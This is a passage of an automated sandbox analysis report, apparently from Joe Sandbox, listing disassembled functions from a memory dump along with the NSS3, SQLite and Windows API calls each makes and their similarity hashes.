PL_FreeArenaPool.NSS3 ref: 6CE83F14
PL_FinishArenaPool.NSS3 ref: 6CE83F1C

Part of subcall function 6CEE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEE127C,00000000,00000000,00000000), ref: 6CEE650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE83F27

Strings

security, xrefs: 6CE83EBC

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 96e65d4a98152d3243a31a5e76a06d91e0677abdc7b346b1a6129f525f453251
Instruction ID: 8a06260369c8eb79d275bbefee240648dfd18c89f6f086928128d1306ba00850
Opcode Fuzzy Hash: 96e65d4a98152d3243a31a5e76a06d91e0677abdc7b346b1a6129f525f453251
Instruction Fuzzy Hash: DD213AB29043006BD3148B15AC02F9B77B8FB4974CF14093DF949A7742F731E9188796

Function 6CECCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CECCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CECCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CECD079

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 787451b89f79bbf1f7a70469913243059987591a6632428e7629c6dbecf92053
Instruction ID: 1e2c4a0aa554a49dad99ffdad9d371f41a9ba9221d78c70ebc5b404bdd671965
Opcode Fuzzy Hash: 787451b89f79bbf1f7a70469913243059987591a6632428e7629c6dbecf92053
Instruction Fuzzy Hash: B0C1BFB5A002199FDB10CF28CD81BDAB7B5BB48308F2441A8E85897741E775EE95CF82

Function 6CEBDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CEC97C1,?,00000000,00000000,?,?,?,00000000,?,6CEA7F4A,00000000), ref: 6CEBDC68

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEBDFAA

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 84e8b08f66cae00a13b789f682dfd56a03babc2f3b642b27c9cea28788750a24
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 5681E578E065048BFB144E58CAA037972B2DB6534CF34843AF55AEAFE9D778D784C602

Function 6CE93C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE93C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE93C94

Part of subcall function 6CE895B0: TlsGetValue.KERNEL32(00000000,?,6CEA00D2,00000000), ref: 6CE895D2
Part of subcall function 6CE895B0: EnterCriticalSection.KERNEL32(?,?,?,6CEA00D2,00000000), ref: 6CE895E7
Part of subcall function 6CE895B0: PR_Unlock.NSS3(?,?,?,?,6CEA00D2,00000000), ref: 6CE89605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE93CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE93CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE93CE1

Part of subcall function 6CE93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEAAE42), ref: 6CE930AA
Part of subcall function 6CE93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE930C7
Part of subcall function 6CE93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE930E5
Part of subcall function 6CE93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE93116
Part of subcall function 6CE93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE9312B
Part of subcall function 6CE93090: PK11_DestroyObject.NSS3(?,?), ref: 6CE93154
Part of subcall function 6CE93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9317E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 11303f571345769e7ee674890ad58657e52e54208a08b6e20d13aa4bb783248e
Instruction ID: 1a6ba3da487bd674ea6248bb2f47898d44d9520cec7503b02e238c9c607bdc37
Opcode Fuzzy Hash: 11303f571345769e7ee674890ad58657e52e54208a08b6e20d13aa4bb783248e
Instruction Fuzzy Hash: 9161C675A00300BBEB115FA5DC41FAB76B9EF0474CF284068FE5A9AB52F721D914C7A2

Function 6CED3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CED3440: PK11_GetAllTokens.NSS3 ref: 6CED3481
Part of subcall function 6CED3440: PR_SetError.NSS3(00000000,00000000), ref: 6CED34A3
Part of subcall function 6CED3440: TlsGetValue.KERNEL32 ref: 6CED352E
Part of subcall function 6CED3440: EnterCriticalSection.KERNEL32(?), ref: 6CED3542
Part of subcall function 6CED3440: PR_Unlock.NSS3(?), ref: 6CED355B

TlsGetValue.KERNEL32 ref: 6CED3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CED3D9F
PR_Unlock.NSS3(?), ref: 6CED3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CED3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CED3E4F

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

TlsGetValue.KERNEL32 ref: 6CED3E97
EnterCriticalSection.KERNEL32(?), ref: 6CED3EAB
PR_Unlock.NSS3(?), ref: 6CED3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CED3EEE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 1e1953c763749eff92dc2218a9b571e1699a26ee6754404b37344c4d77217fbf
Instruction ID: c8826c10e0b86dd10783c7f6a916da52939af08a10cd02db31e5b6ff4f547300
Opcode Fuzzy Hash: 1e1953c763749eff92dc2218a9b571e1699a26ee6754404b37344c4d77217fbf
Instruction Fuzzy Hash: 6A5125B2E007029FEB41AF69D84476673B4AF45318F260528DE094BB62EB31F946CBD1

Function 6CE82C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(81714631), ref: 6CE82C5D

Part of subcall function 6CEE0D30: calloc.MOZGLUE ref: 6CEE0D50
Part of subcall function 6CEE0D30: TlsGetValue.KERNEL32 ref: 6CEE0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE82C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE82CE0

Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE82CDA,?,00000000), ref: 6CE82E1E
Part of subcall function 6CE82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE82E33
Part of subcall function 6CE82E00: TlsGetValue.KERNEL32 ref: 6CE82E4E
Part of subcall function 6CE82E00: EnterCriticalSection.KERNEL32(?), ref: 6CE82E5E
Part of subcall function 6CE82E00: PL_HashTableLookup.NSS3(?), ref: 6CE82E71
Part of subcall function 6CE82E00: PL_HashTableRemove.NSS3(?), ref: 6CE82E84
Part of subcall function 6CE82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE82E96
Part of subcall function 6CE82E00: PR_Unlock.NSS3 ref: 6CE82EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE82D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE82D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE82D3F
free.MOZGLUE(00000000), ref: 6CE82D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE82DB8
free.MOZGLUE ref: 6CE82DC8

Part of subcall function 6CE83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE83EC2
Part of subcall function 6CE83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE83ED6
Part of subcall function 6CE83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE83EEE
Part of subcall function 6CE83E60: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE83F02
Part of subcall function 6CE83E60: PL_FreeArenaPool.NSS3 ref: 6CE83F14
Part of subcall function 6CE83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE83F27

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 206c7d11d32bb0b5b4ac170c2fb7ed384463340a6cfa590eb409e61ffcfb666f
Instruction ID: a724954450a4fdf1efc8099dbc7baf5e5c44ba9611430f1ab92ace5d4d310f0f
Opcode Fuzzy Hash: 206c7d11d32bb0b5b4ac170c2fb7ed384463340a6cfa590eb409e61ffcfb666f
Instruction Fuzzy Hash: 0A51D071A063119BDB019E68CC88B6B7BF5EFA434CF24042CEC5997790E731E815CB92

Function 6CEA8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA90EC

Part of subcall function 6CE70F00: PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B
Part of subcall function 6CE70F00: PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9111

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: e4da788c6adb5bd2fe22856c5b679fb00614e122e688e0f1a9c28995ef051fb0
Instruction ID: 2db36372f27790da4a618e83c50388e17e80fbcff45d2cfddd7e37725dc71f43
Opcode Fuzzy Hash: e4da788c6adb5bd2fe22856c5b679fb00614e122e688e0f1a9c28995ef051fb0
Instruction Fuzzy Hash: E551AF75A046058FCF40EFB9C4C8359BBF4AF0A318F264569DC449B706EB36E886CB81

Function 6CE87CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE83F7F,?,00000055,?,?,6CE81666,?,?), ref: 6CE840D9
Part of subcall function 6CE840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE81666,?,?), ref: 6CE840FC
Part of subcall function 6CE840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE81666,?,?), ref: 6CE84138

PR_GetCurrentThread.NSS3 ref: 6CE87CFD

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CFA9030), ref: 6CE87D1B

Part of subcall function 6CEDFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE81A3E,00000048,00000054), ref: 6CEDFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CFA9048), ref: 6CE87D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE87D50
PR_GetCurrentThread.NSS3 ref: 6CE87D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE87D7D
free.MOZGLUE(?), ref: 6CE87D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE87DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE87E19

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: fc63cef295338656845027e80b6947f74035f8fc86e289da92f4dd10075630a5
Instruction ID: aa3799c9377c457fe1d25ff4fefc02b86eada16410818e52049e61a5772404b5
Opcode Fuzzy Hash: fc63cef295338656845027e80b6947f74035f8fc86e289da92f4dd10075630a5
Instruction Fuzzy Hash: 7A41F672B011199BDB008E699C41BAF37F8AF4629CF250028FC1DA7791EB31ED15C7A1

Function 6CE97EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE980DD), ref: 6CE97F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE980DD), ref: 6CE97F36
free.MOZGLUE(?,?,?,6CE980DD), ref: 6CE97F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE980DD), ref: 6CE97F5D
DeleteCriticalSection.KERNEL32(?,6CE980DD), ref: 6CE97F94
free.MOZGLUE(?), ref: 6CE97F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE980DD), ref: 6CE97FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE980DD), ref: 6CE97FE6
free.MOZGLUE(?,6CE980DD), ref: 6CE9802D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: d27d31b1c2370545e9d2900f58250bf55bb4952c17975dcde6caf0659bac6ce7
Instruction ID: 36138dadb41106d10c79bd2138c3680913ac61ea478508a4e9869cc9175e9993
Opcode Fuzzy Hash: d27d31b1c2370545e9d2900f58250bf55bb4952c17975dcde6caf0659bac6ce7
Instruction Fuzzy Hash: B1413B71F112016FDFD09FB88889B4B3775AB4B358F22022DE51A93B40EB36E509CB90

Function 6CEDFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEDFF00

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CEDFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEDFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CEDFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEDFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CEDFF8C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 881f11d3c6c323bb5851fe3db2193ccac8de6886eeaff1a022bd829e579336e3
Instruction ID: 6c4cda35bbd650b9bbb91dd5219079f6f66423de45613b0144cb6593891f44a0
Opcode Fuzzy Hash: 881f11d3c6c323bb5851fe3db2193ccac8de6886eeaff1a022bd829e579336e3
Instruction Fuzzy Hash: 2F3126B29013529BE710CF949C42B5B76B8AF4A38CF364539ED1897741EB34E906C7D2

Function 6CE27D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE27E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE27E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CE27EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE27F2E

Strings

%s at line %d of [%.10s], xrefs: 6CE27EE7, 6CE27F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE27ED8, 6CE27F08, 6CE27F19
database corruption, xrefs: 6CE27EE2, 6CE27F23

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: f91e6818998064ad49a49ff737c2942fad9e81960ae0fa41db9712c7bfef4fe6
Instruction ID: e8813f52363dc3c1dd7a1d981a9e32415ad86b3cf7a0bacb1235f532e125d700
Opcode Fuzzy Hash: f91e6818998064ad49a49ff737c2942fad9e81960ae0fa41db9712c7bfef4fe6
Instruction Fuzzy Hash: F261C075B042059FDB05CF29C880BAA37B2BF46308F2448ACEC095BB52D735EC56CBA1

Function 6CE0FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0FD7A
